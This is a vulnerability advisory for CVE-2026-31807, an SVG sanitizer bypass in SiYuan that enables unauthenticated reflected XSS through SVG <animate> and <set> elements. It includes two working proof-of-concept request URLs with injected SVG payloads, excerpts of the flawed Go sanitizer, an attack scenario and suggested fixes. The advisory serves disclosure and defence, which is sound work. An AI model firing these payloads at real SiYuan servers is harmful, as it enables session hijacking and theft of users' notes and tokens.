CVE-2026-31807
SiYuan has a SVG Sanitizer Bypass via `<animate>` Element — Unauthenticated XSS
Auswirkung
# SVG Sanitizer Bypass via `<animate>` Element — Unauthenticated XSS ## Summary SiYuan's SVG sanitizer (`SanitizeSVG`) blocks dangerous elements (`<script>`, `<iframe>`, `<foreignobject>`) and removes `on*` event handlers and `javascript:` in `href` attributes. However, it does NOT block SVG animation elements (`<animate>`, `<set>`) which can dynamically set attributes to dangerous values at runtime, bypassing the static sanitization. This allows an attacker to inject executable JavaScript into the unauthenticated `/api/icon/getDynamicIcon` endpoint (type=8), creating a reflected XSS. This is a bypass of the fix for CVE-2026-29183 (fixed in v3.5.9). ## Affected Component - **File:** `kernel/util/misc.go` - **Function:** `SanitizeSVG()` (lines 234-319) - **Endpoint:** `GET /api/icon/getDynamicIcon?type=8&content=...` (unauthenticated) - **Version:** SiYuan <= 3.5.9 ## Root Cause The sanitizer checks attributes on elements at **parse time**. SVG `<animate>` and `<set>` elements modify attributes **at runtime** — these elements are not in the sanitizer's blocklist. ### Sanitizer's blocklist (line 250) ```go if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" || tag == "foreignobject" { n.RemoveChild(c) // ... } ``` Missing from blocklist: `animate`, `set`, `animateTransform`, `animateMotion` ### Attribute check (lines 264-267) ```go // Only checks static attributes if strings.HasPrefix(key, "on") { continue } ``` The `<animate>` element's `values` attribute contains the payload (`javascript:...`), but the sanitizer only checks for `on*` prefix, `href`, or `xlink:href` keys. The `values`, `to`, `from`, `attributeName` attributes are all passed through. ## Proof of Concept ### Vector 1: `<animate>` sets `href` to `javascript:` ``` GET /api/icon/getDynamicIcon?type=8&content=</text><a><animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue ``` After template rendering, the SVG contains: ```xml <svg ...> <text ...></text> <a> <animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/> <text x="50%" y="80%" fill="red" style="font-size:60px">Click me</text> </a> <text></text> </svg> ``` The sanitizer passes this through because: 1. `<animate>` is not in the element blocklist 2. `attributeName="href"` — key is `attributename`, doesn't start with `on`, not `href` itself 3. `values="javascript:..."` — key is `values`, not `href` When the SVG is rendered in the browser (navigating directly to the URL), `<animate>` sets the parent `<a>` element's `href` to `javascript:alert(document.domain)`. Clicking "Click me" triggers the JavaScript. ### Vector 2: `<set>` modifies event handlers ``` GET /api/icon/getDynamicIcon?type=8&content=</text><set attributeName="onmouseover" to="alert(document.domain)"/><text>&color=blue ``` The `<set>` element dynamically adds an `onmouseover` event handler to the parent element at runtime. ## Attack Scenario 1. Attacker crafts a malicious `getDynamicIcon` URL with XSS payload 2. Attacker sends the URL to a victim who has an active SiYuan session 3. Victim clicks/navigates to the URL 4. SVG renders with Content-Type `image/svg+xml` — browser renders as standalone SVG document 5. JavaScript executes in the SiYuan server's origin 6. Attacker steals session cookies, API tokens, or makes authenticated API calls to read/modify notes ## Impact - **Severity:** CRITICAL (CVSS ~9.1) - **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation) - Unauthenticated reflected XSS via SVG injection - Executes in the SiYuan application origin, giving full access to authenticated APIs - Can chain to: data exfiltration, note modification, configuration theft (API tokens, auth codes) - Bypasses the fix for CVE-2026-29183 ## Suggested Fix Add animation elements to the sanitizer blocklist: ```go // In SanitizeSVG, line 250: if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" || tag == "foreignobject" || tag == "animate" || tag == "set" || tag == "animatetransform" || tag == "animatemotion" { n.RemoveChild(c) c = next continue } ``` Or additionally check the `values`, `to`, and `from` attributes for `javascript:` patterns: ```go if key == "values" || key == "to" || key == "from" { if strings.Contains(val, "javascript:") { continue } } ``` Also consider checking `attributeName` — if it targets `href`, `xlink:href`, or any `on*` attribute, the animation element should be removed entirely.
Ein Angreifer kann die Lücke über das Netzwerk ausnutzen, ohne Anmeldung, allerdings muss ein Nutzer beteiligt sein, etwa indem er Inhalte ansieht.
Betroffene Pakete
| Ökosystem | Paket | Betroffen | Behoben in |
|---|---|---|---|
| go | github.com/siyuan-note/siyuan/kernel | < 0.0.0-20260310025236-297bd526708f | 0.0.0-20260310025236-297bd526708f |
Betroffene Produkte · B3log
| Produkt | Betroffene Versionen |
|---|---|
| Siyuan | vor 3.5.10 |